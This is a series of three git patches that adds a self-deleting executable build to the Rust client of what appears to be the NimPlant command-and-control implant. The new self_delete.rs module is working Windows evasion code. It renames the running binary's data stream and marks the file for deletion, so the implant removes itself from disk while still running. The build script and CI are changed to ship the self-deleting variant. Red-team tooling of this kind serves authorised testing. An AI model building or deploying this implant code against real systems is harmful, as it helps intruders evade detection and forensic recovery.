From a02c9784268a86c11225ebcd21531f4c8b1d9f49 Mon Sep 17 00:00:00 2001 From: chvancooten Date: Sun, 16 Jun 2024 19:41:15 +0200 Subject: [PATCH 1/3] (WIP) Initial framework of exe self-delete in Rust, still some errors to iron out --- client-rs/Cargo.lock | 24 ++++----- client-rs/Cargo.toml | 4 +- client-rs/src/app.rs | 3 ++ client-rs/src/app/self_delete.rs | 85 ++++++++++++++++++++++++++++++++ client-rs/src/main.rs | 6 +++ nimplant.py | 12 ++--- 6 files changed, 115 insertions(+), 19 deletions(-) create mode 100644 client-rs/src/app/self_delete.rs diff --git a/client-rs/Cargo.lock b/client-rs/Cargo.lock index 09f8de3..1596b74 100644 --- a/client-rs/Cargo.lock +++ b/client-rs/Cargo.lock @@ -1103,7 +1103,7 @@ dependencies = [ "toml", "ureq", "widestring 1.1.0", - "windows 0.56.0", + "windows 0.57.0", "windows-sys 0.52.0", "winreg", "wmi", @@ -2035,11 +2035,11 @@ dependencies = [ [[package]] name = "windows" -version = "0.56.0" +version = "0.57.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1de69df01bdf1ead2f4ac895dc77c9351aefff65b2f3db429a343f9cbf05e132" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" dependencies = [ - "windows-core 0.56.0", + "windows-core 0.57.0", "windows-targets 0.52.5", ] @@ -2063,12 +2063,12 @@ dependencies = [ [[package]] name = "windows-core" -version = "0.56.0" +version = "0.57.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4698e52ed2d08f8658ab0c39512a7c00ee5fe2688c65f8c0a4f06750d729f2a6" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" dependencies = [ - "windows-implement 0.56.0", - "windows-interface 0.56.0", + "windows-implement 0.57.0", + "windows-interface 0.57.0", "windows-result", "windows-targets 0.52.5", ] @@ -2086,9 +2086,9 @@ dependencies = [ [[package]] name = "windows-implement" -version = "0.56.0" +version = "0.57.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6fc35f58ecd95a9b71c4f2329b911016e6bec66b3f2e6a4aad86bd2e99e2f9b" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" dependencies = [ "proc-macro2", "quote", @@ -2108,9 +2108,9 @@ dependencies = [ [[package]] name = "windows-interface" -version = "0.56.0" +version = "0.57.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08990546bf4edef8f431fa6326e032865f27138718c587dc21bc0265bbcb57cc" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" dependencies = [ "proc-macro2", "quote", diff --git a/client-rs/Cargo.toml b/client-rs/Cargo.toml index 393633b..6064eca 100644 --- a/client-rs/Cargo.toml +++ b/client-rs/Cargo.toml @@ -49,6 +49,7 @@ risky = [ "windows", "once_cell", ] +selfdelete = [] [build-dependencies] bincode = "1.3.3" @@ -82,7 +83,7 @@ winreg = "0.52.0" wmi = "0.13.3" # Windows APIs - used only for COFF loading -windows = { version = "0.56.0", optional = true, features = [ +windows = { version = "0.57.0", optional = true, features = [ "Win32_Foundation", "Win32_System_Memory", "Win32_System_SystemServices", @@ -99,6 +100,7 @@ windows-sys = { version = "0.52.0", features = [ "Win32_Foundation", "Win32_Graphics_Gdi", "Win32_Security", + "Win32_Storage_FileSystem", "Win32_System_Console", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Memory", diff --git a/client-rs/src/app.rs b/client-rs/src/app.rs index 03d0273..241f8db 100644 --- a/client-rs/src/app.rs +++ b/client-rs/src/app.rs @@ -15,6 +15,9 @@ pub(crate) mod dinvoke; #[cfg(feature = "risky")] pub(crate) mod patches; +#[cfg(feature = "selfdelete")] +pub(crate) mod self_delete; + use crate::app::client::Client; use crate::app::commands::handle_command; use crate::app::config::Config; diff --git a/client-rs/src/app/self_delete.rs b/client-rs/src/app/self_delete.rs new file mode 100644 index 0000000..ace4249 --- /dev/null +++ b/client-rs/src/app/self_delete.rs @@ -0,0 +1,85 @@ +use fmtools::format; // using obfstr to obfuscate +use std::ffi::c_void; +use std::mem::{size_of, zeroed}; +use std::ptr::null_mut; +use widestring::u16cstr; +use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, INVALID_HANDLE_VALUE}; +use windows_sys::Win32::Storage::FileSystem::{ + CreateFileW, SetFileInformationByHandle, FILE_ATTRIBUTE_NORMAL, FILE_DISPOSITION_FLAG_DELETE, + FILE_DISPOSITION_INFO, FILE_RENAME_INFO, OPEN_EXISTING, +}; +use windows_sys::Win32::System::LibraryLoader::GetModuleFileNameW; + +unsafe fn open_handle(path: &[u16]) -> HANDLE { + CreateFileW( + path.as_ptr(), + 0x00010000, // DELETE + 0, + null_mut(), + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + null_mut() as isize, + ) +} + +unsafe fn rename_handle(handle: HANDLE) -> bool { + let stream_rename = format!(":nimpln"); + let ds_stream_rename = u16cstr!(&stream_rename).unwrap().as_ptr(); + let mut rename_info: FILE_RENAME_INFO = zeroed(); + rename_info.FileNameLength = (size_of_val(&ds_stream_rename) - size_of::()) as u32; // Exclude null terminator + rename_info.FileName.copy_from( + ds_stream_rename, + rename_info.FileNameLength as usize / size_of::(), + ); + SetFileInformationByHandle( + handle, + 10, /* FileRenameInfo */ + &mut rename_info as *mut _ as *mut c_void, + size_of::() as u32 + rename_info.FileNameLength, + ) != 0 +} + +unsafe fn mark_for_deletion(handle: HANDLE) -> bool { + let mut delete_info: FILE_DISPOSITION_INFO = zeroed(); + delete_info.DeleteFile = FILE_DISPOSITION_FLAG_DELETE as u32; + SetFileInformationByHandle( + handle, + 4, /* FileDispositionInfo */ + &mut delete_info as *mut _ as *mut c_void, + size_of::() as u32, + ) != 0 +} + +pub fn perform_self_delete() -> Result<(), Box> { + let mut path: [u16; 261] = [0; 261]; // MAX_PATH + 1 + unsafe { + if GetModuleFileNameW(null_mut(), path.as_mut_ptr(), path.len() as u32) == 0 { + return Err(format!("Failed to get the current module file name").into()); + } + } + + let handle = unsafe { open_handle(&path) }; + if handle == INVALID_HANDLE_VALUE { + return Err(format!("Failed to acquire handle to current running process").into()); + } + + if !unsafe { rename_handle(handle) } { + unsafe { CloseHandle(handle) }; + return Err(format!("Failed to rename the file").into()); + } + + unsafe { CloseHandle(handle) }; + + let handle = unsafe { open_handle(&path) }; + if handle == INVALID_HANDLE_VALUE { + return Err(format!("Failed to reopen current module").into()); + } + + if !unsafe { mark_for_deletion(handle) } { + unsafe { CloseHandle(handle) }; + return Err(format!("Failed to mark the file for deletion").into()); + } + + unsafe { CloseHandle(handle) }; + Ok(()) +} diff --git a/client-rs/src/main.rs b/client-rs/src/main.rs index 11ea627..d58c041 100644 --- a/client-rs/src/main.rs +++ b/client-rs/src/main.rs @@ -7,6 +7,12 @@ mod app; +#[cfg(feature = "selfdelete")] +use crate::app::self_delete::perform_self_delete; + fn main() { + #[cfg(feature = "selfdelete")] + perform_self_delete(); + app::main(); } diff --git a/nimplant.py b/nimplant.py index 090678f..54d0090 100644 --- a/nimplant.py +++ b/nimplant.py @@ -8,6 +8,8 @@ This is a wrapper script to configure and generate NimPlant and its C2 server. """ +# TODO: Update CI/CD to automatically upload Docker image to Docker hub, update README.md + import argparse import os import random @@ -137,14 +139,12 @@ def compile_implant(implant_type, binary_type, xor_key): # Compile all print(f"Compiling .exe for {message}") compile_function("exe", xor_key, config) + print(f"Compiling self-deleting .exe for {message}") + compile_function("exe-selfdelete", xor_key, config) print(f"Compiling .dll for {message}") compile_function("dll", xor_key, config) print(f"Compiling .bin for {message}") compile_function("raw", xor_key, config) - # TODO: Exe-Selfdelete - if implant_type != "rust": - print(f"Compiling self-deleting .exe for {message}") - compile_function("exe-selfdelete", xor_key, config) def compile_nim_debug(binary_type, xor_key, config): @@ -256,8 +256,8 @@ def compile_rust(binary_type, xor_key, config, debug=False): target_path = target_path + "nimplant.exe" compile_command = compile_command + " --bin=nimplant" case "exe-selfdelete": - print("RUST EXE-SELFDELETE NOT YET IMPLEMENTED.") - exit(1) + target_path = target_path + "nimplant-selfdelete.exe" + compile_command = compile_command + " --bin=nimplant --features=selfdelete" case "dll": target_path = target_path + "nimplant.dll" compile_command = compile_command + " --lib" From 845d8fac54fa9c507eb931e9ca1e7902c39c2e8e Mon Sep 17 00:00:00 2001 From: chvancooten Date: Sun, 16 Jun 2024 22:34:20 +0200 Subject: [PATCH 2/3] Add selfdelete for rust --- .github/workflows/main.yml | 8 +- client-rs/Cargo.toml | 14 ++- client-rs/src/app.rs | 5 +- client-rs/src/app/self_delete.rs | 150 ++++++++++++++++--------------- client-rs/src/lib.rs | 5 ++ client-rs/src/main.rs | 11 ++- nimplant.py | 8 +- 7 files changed, 109 insertions(+), 92 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 03c8bd9..ccdc83c 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -34,10 +34,10 @@ jobs: fail-fast: false matrix: include: - - language: 'nim' + - language: "nim" paths: ./client/bin/NimPlant.exe, ./client/bin/NimPlant.dll, ./client/bin/NimPlant.bin, ./client/bin/NimPlant-selfdelete.exe - - language: 'rust' - paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe + - language: "rust" + paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe, ./client-rs/bin/nimplant-selfdelete.exe runs-on: ubuntu-latest steps: - name: Checkout code into workspace directory @@ -62,4 +62,4 @@ jobs: uses: andstor/file-existence-action@v3 with: fail: true - files: ${{ matrix.paths }} \ No newline at end of file + files: ${{ matrix.paths }} diff --git a/client-rs/Cargo.toml b/client-rs/Cargo.toml index 6064eca..0f5d94f 100644 --- a/client-rs/Cargo.toml +++ b/client-rs/Cargo.toml @@ -39,6 +39,10 @@ crate-type = ["cdylib"] name = "nimplant" path = "src/main.rs" +[[bin]] +name = "nimplant-selfdelete" +path = "src/main.rs" + [features] risky = [ "clroxide", @@ -49,7 +53,7 @@ risky = [ "windows", "once_cell", ] -selfdelete = [] +selfdelete = ["widestring", "windows"] [build-dependencies] bincode = "1.3.3" @@ -85,12 +89,14 @@ wmi = "0.13.3" # Windows APIs - used only for COFF loading windows = { version = "0.57.0", optional = true, features = [ "Win32_Foundation", + "Win32_Security", + "Win32_Storage_FileSystem", + "Win32_Storage", + "Win32_System_Diagnostics_Debug", + "Win32_System_LibraryLoader", "Win32_System_Memory", "Win32_System_SystemServices", - "Win32_System_LibraryLoader", "Win32_System_Threading", - "Win32_Security", - "Win32_System_Diagnostics_Debug", ] } # Windows API pure definitions - preferred throughout Nimplant codebase diff --git a/client-rs/src/app.rs b/client-rs/src/app.rs index 241f8db..2cb5b4f 100644 --- a/client-rs/src/app.rs +++ b/client-rs/src/app.rs @@ -21,13 +21,10 @@ pub(crate) mod self_delete; use crate::app::client::Client; use crate::app::commands::handle_command; use crate::app::config::Config; -use crate::app::debug::{allocate_console_debug_only, debug_println}; +use crate::app::debug::debug_println; use rand::Rng; pub fn main() { - // Allocate a console if we're in debug mode - allocate_console_debug_only(); - // Create a new Config object let config = Config::new().unwrap_or_else(|_e| { debug_println!("Failed to initialize config: {_e}"); diff --git a/client-rs/src/app/self_delete.rs b/client-rs/src/app/self_delete.rs index ace4249..519895a 100644 --- a/client-rs/src/app/self_delete.rs +++ b/client-rs/src/app/self_delete.rs @@ -1,85 +1,89 @@ -use fmtools::format; // using obfstr to obfuscate -use std::ffi::c_void; -use std::mem::{size_of, zeroed}; -use std::ptr::null_mut; -use widestring::u16cstr; -use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, INVALID_HANDLE_VALUE}; -use windows_sys::Win32::Storage::FileSystem::{ - CreateFileW, SetFileInformationByHandle, FILE_ATTRIBUTE_NORMAL, FILE_DISPOSITION_FLAG_DELETE, - FILE_DISPOSITION_INFO, FILE_RENAME_INFO, OPEN_EXISTING, +// Base code adapted from RustRedOps by joaoviictorti under MIT License +// https://github.com/joaoviictorti/RustRedOps/tree/main/Self_Deletion + +use std::{ + ffi::c_void, + mem::{size_of, size_of_val}, +}; +use windows::core::PCWSTR; +use windows::Win32::{ + Foundation::CloseHandle, + Storage::FileSystem::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO}, + Storage::FileSystem::{ + FileDispositionInfo, FileRenameInfo, DELETE, FILE_DISPOSITION_INFO, + FILE_FLAGS_AND_ATTRIBUTES, FILE_SHARE_READ, OPEN_EXISTING, SYNCHRONIZE, + }, + System::Memory::{GetProcessHeap, HeapAlloc, HeapFree, HEAP_ZERO_MEMORY}, }; -use windows_sys::Win32::System::LibraryLoader::GetModuleFileNameW; -unsafe fn open_handle(path: &[u16]) -> HANDLE { - CreateFileW( - path.as_ptr(), - 0x00010000, // DELETE - 0, - null_mut(), - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - null_mut() as isize, - ) -} +pub(crate) fn perform() -> Result<(), Box> { + let stream = ":nimpln"; + let stream_wide: Vec = stream.encode_utf16().chain(std::iter::once(0)).collect(); -unsafe fn rename_handle(handle: HANDLE) -> bool { - let stream_rename = format!(":nimpln"); - let ds_stream_rename = u16cstr!(&stream_rename).unwrap().as_ptr(); - let mut rename_info: FILE_RENAME_INFO = zeroed(); - rename_info.FileNameLength = (size_of_val(&ds_stream_rename) - size_of::()) as u32; // Exclude null terminator - rename_info.FileName.copy_from( - ds_stream_rename, - rename_info.FileNameLength as usize / size_of::(), - ); - SetFileInformationByHandle( - handle, - 10, /* FileRenameInfo */ - &mut rename_info as *mut _ as *mut c_void, - size_of::() as u32 + rename_info.FileNameLength, - ) != 0 -} + unsafe { + let mut delete_file = FILE_DISPOSITION_INFO::default(); + let lenght = size_of::() + (stream_wide.len() * size_of::()); + let rename_info = + HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, lenght).cast::(); -unsafe fn mark_for_deletion(handle: HANDLE) -> bool { - let mut delete_info: FILE_DISPOSITION_INFO = zeroed(); - delete_info.DeleteFile = FILE_DISPOSITION_FLAG_DELETE as u32; - SetFileInformationByHandle( - handle, - 4, /* FileDispositionInfo */ - &mut delete_info as *mut _ as *mut c_void, - size_of::() as u32, - ) != 0 -} + delete_file.DeleteFile = true.into(); + (*rename_info).FileNameLength = (stream_wide.len() * size_of::()) as u32 - 2; -pub fn perform_self_delete() -> Result<(), Box> { - let mut path: [u16; 261] = [0; 261]; // MAX_PATH + 1 - unsafe { - if GetModuleFileNameW(null_mut(), path.as_mut_ptr(), path.len() as u32) == 0 { - return Err(format!("Failed to get the current module file name").into()); - } - } + std::ptr::copy_nonoverlapping( + stream_wide.as_ptr(), + (*rename_info).FileName.as_mut_ptr(), + stream_wide.len(), + ); - let handle = unsafe { open_handle(&path) }; - if handle == INVALID_HANDLE_VALUE { - return Err(format!("Failed to acquire handle to current running process").into()); - } + let path = std::env::current_exe()?; + let path_str = path.to_str().unwrap_or(""); + let mut full_path: Vec = path_str.encode_utf16().collect(); + full_path.push(0); - if !unsafe { rename_handle(handle) } { - unsafe { CloseHandle(handle) }; - return Err(format!("Failed to rename the file").into()); - } + let mut h_file = CreateFileW( + PCWSTR(full_path.as_ptr()), + DELETE.0 | SYNCHRONIZE.0, + FILE_SHARE_READ, + None, + OPEN_EXISTING, + FILE_FLAGS_AND_ATTRIBUTES(0), + None, + )?; - unsafe { CloseHandle(handle) }; + SetFileInformationByHandle( + h_file, + FileRenameInfo, + rename_info as *const c_void, + lenght as u32, + )?; - let handle = unsafe { open_handle(&path) }; - if handle == INVALID_HANDLE_VALUE { - return Err(format!("Failed to reopen current module").into()); - } + CloseHandle(h_file)?; - if !unsafe { mark_for_deletion(handle) } { - unsafe { CloseHandle(handle) }; - return Err(format!("Failed to mark the file for deletion").into()); - } + h_file = CreateFileW( + PCWSTR(full_path.as_ptr()), + DELETE.0 | SYNCHRONIZE.0, + FILE_SHARE_READ, + None, + OPEN_EXISTING, + FILE_FLAGS_AND_ATTRIBUTES(0), + None, + )?; - unsafe { CloseHandle(handle) }; - Ok(()) + SetFileInformationByHandle( + h_file, + FileDispositionInfo, + std::ptr::from_ref::(&delete_file).cast(), + size_of_val(&delete_file) as u32, + )?; + + CloseHandle(h_file)?; + + HeapFree( + GetProcessHeap()?, + HEAP_ZERO_MEMORY, + Some(rename_info as *const c_void), + )?; + + Ok(()) + } } diff --git a/client-rs/src/lib.rs b/client-rs/src/lib.rs index dae87af..34fc429 100644 --- a/client-rs/src/lib.rs +++ b/client-rs/src/lib.rs @@ -5,7 +5,12 @@ mod app; +use app::debug::allocate_console_debug_only; + #[no_mangle] pub extern "C" fn Update() { + // Allocate a console if we're in debug mode + allocate_console_debug_only(); + app::main(); } diff --git a/client-rs/src/main.rs b/client-rs/src/main.rs index d58c041..dc1afba 100644 --- a/client-rs/src/main.rs +++ b/client-rs/src/main.rs @@ -7,12 +7,17 @@ mod app; -#[cfg(feature = "selfdelete")] -use crate::app::self_delete::perform_self_delete; +use app::debug::{allocate_console_debug_only, debug_println}; fn main() { + // Allocate a console if we're in debug mode + allocate_console_debug_only(); + + // Self-delete the binary if the feature is enabled #[cfg(feature = "selfdelete")] - perform_self_delete(); + if let Err(e) = crate::app::self_delete::perform() { + debug_println!("Failed to self-delete: {:?}", e); + }; app::main(); } diff --git a/nimplant.py b/nimplant.py index 54d0090..6e8103b 100644 --- a/nimplant.py +++ b/nimplant.py @@ -218,7 +218,7 @@ def compile_rust_debug(binary_type, xor_key, config): def compile_rust(binary_type, xor_key, config, debug=False): """Compile the Rust implant.""" # Construct compilation command - target_path = "client-rs/target/" + target_path = "client-rs/target/x86_64-pc-windows-gnu/" # We always use the GNU toolchain to prevent shellcode stability issues # If on Windows, the MSVC toolchain may be used instead (if the raw format is not used) @@ -237,8 +237,6 @@ def compile_rust(binary_type, xor_key, config, debug=False): ) if os.name != "nt": - target_path = target_path + "x86_64-pc-windows-gnu/" - # When cross-compiling, we need to tell sodiumoxide to use # a pre-compiled version libsodium (which is packaged) os.environ["SODIUM_LIB_DIR"] = os.path.abspath( @@ -257,7 +255,9 @@ def compile_rust(binary_type, xor_key, config, debug=False): compile_command = compile_command + " --bin=nimplant" case "exe-selfdelete": target_path = target_path + "nimplant-selfdelete.exe" - compile_command = compile_command + " --bin=nimplant --features=selfdelete" + compile_command = ( + compile_command + " --bin=nimplant-selfdelete --features=selfdelete" + ) case "dll": target_path = target_path + "nimplant.dll" compile_command = compile_command + " --lib" From 19692eaebddaa5dfa976ebede98693e624d3c2fb Mon Sep 17 00:00:00 2001 From: chvancooten Date: Sun, 16 Jun 2024 22:38:49 +0200 Subject: [PATCH 3/3] Fix compilation warning in release mode, add TODO --- client-rs/src/main.rs | 4 ++-- nimplant.py | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/client-rs/src/main.rs b/client-rs/src/main.rs index dc1afba..410049a 100644 --- a/client-rs/src/main.rs +++ b/client-rs/src/main.rs @@ -15,8 +15,8 @@ fn main() { // Self-delete the binary if the feature is enabled #[cfg(feature = "selfdelete")] - if let Err(e) = crate::app::self_delete::perform() { - debug_println!("Failed to self-delete: {:?}", e); + if let Err(_e) = crate::app::self_delete::perform() { + debug_println!("Failed to self-delete: {:?}", _e); }; app::main(); diff --git a/nimplant.py b/nimplant.py index 6e8103b..358b159 100644 --- a/nimplant.py +++ b/nimplant.py @@ -217,6 +217,8 @@ def compile_rust_debug(binary_type, xor_key, config): def compile_rust(binary_type, xor_key, config, debug=False): """Compile the Rust implant.""" + # TODO: Fix inline-execute crash when executing after "This BOF expects arguments" + # Construct compilation command target_path = "client-rs/target/x86_64-pc-windows-gnu/"